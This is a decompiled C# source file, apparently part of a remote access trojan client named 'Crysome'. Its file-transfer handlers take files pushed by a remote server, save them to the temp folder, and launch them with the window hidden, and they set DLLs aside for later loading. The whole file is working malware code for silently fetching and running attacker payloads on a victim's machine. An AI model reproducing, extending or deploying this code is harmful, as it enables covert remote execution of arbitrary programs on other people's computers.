136 lines
3.7 KiB
C#
136 lines
3.7 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.FileTransfer;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class FileTransferHandlers
|
|
{
|
|
private const int MaxFileBytes = 157286400;
|
|
|
|
private static FtReceiver _receiver;
|
|
|
|
internal static volatile string LastDllPath;
|
|
|
|
public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_00ab: Expected O, but got Unknown
|
|
FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
|
|
string text;
|
|
try
|
|
{
|
|
if (val.FileData == null || val.FileData.Length == 0)
|
|
{
|
|
text = "ERR: Empty payload";
|
|
}
|
|
else if (val.FileData.Length > 157286400)
|
|
{
|
|
text = "ERR: Payload too large";
|
|
}
|
|
else
|
|
{
|
|
string text2 = SanitizeFileName(val.Filename);
|
|
string text3 = Path.Combine(Path.GetTempPath(), text2);
|
|
File.WriteAllBytes(text3, val.FileData);
|
|
Process.Start(new ProcessStartInfo
|
|
{
|
|
FileName = text3,
|
|
UseShellExecute = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
text = "OK: " + text2;
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
text = "ERR: " + ex.Message;
|
|
}
|
|
client.SendPacket((IPacket)new FileTransferResponsePacket(text));
|
|
}
|
|
|
|
public static void HandleFtStart(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_000b: Expected O, but got Unknown
|
|
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_006d: Expected O, but got Unknown
|
|
_receiver = new FtReceiver(client);
|
|
_receiver.OnComplete = delegate(string name, byte[] data)
|
|
{
|
|
try
|
|
{
|
|
string text = SanitizeFileName(name);
|
|
string text2 = Path.Combine(Path.GetTempPath(), text);
|
|
File.WriteAllBytes(text2, data);
|
|
Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
|
|
if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
LastDllPath = text2;
|
|
}
|
|
else
|
|
{
|
|
Process.Start(new ProcessStartInfo
|
|
{
|
|
FileName = text2,
|
|
UseShellExecute = true,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("FtReceiver execute error: " + ex.Message);
|
|
}
|
|
};
|
|
_receiver.OnError = delegate(string msg)
|
|
{
|
|
Program.Log("FtReceiver error: " + msg);
|
|
};
|
|
_receiver.HandleStart((FtStartPacket)packet);
|
|
}
|
|
|
|
public static void HandleFtChunk(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0015: Expected O, but got Unknown
|
|
FtReceiver receiver = _receiver;
|
|
if (receiver != null)
|
|
{
|
|
receiver.HandleChunk((FtChunkPacket)packet);
|
|
}
|
|
}
|
|
|
|
public static void HandleFtAbort(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0015: Expected O, but got Unknown
|
|
FtReceiver receiver = _receiver;
|
|
if (receiver != null)
|
|
{
|
|
receiver.HandleAbort((FtAbortPacket)packet);
|
|
}
|
|
}
|
|
|
|
private static string SanitizeFileName(string name)
|
|
{
|
|
if (string.IsNullOrEmpty(name))
|
|
{
|
|
return "received.dat";
|
|
}
|
|
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
|
|
foreach (char oldChar in invalidFileNameChars)
|
|
{
|
|
name = name.Replace(oldChar, '_');
|
|
}
|
|
return name;
|
|
}
|
|
}
|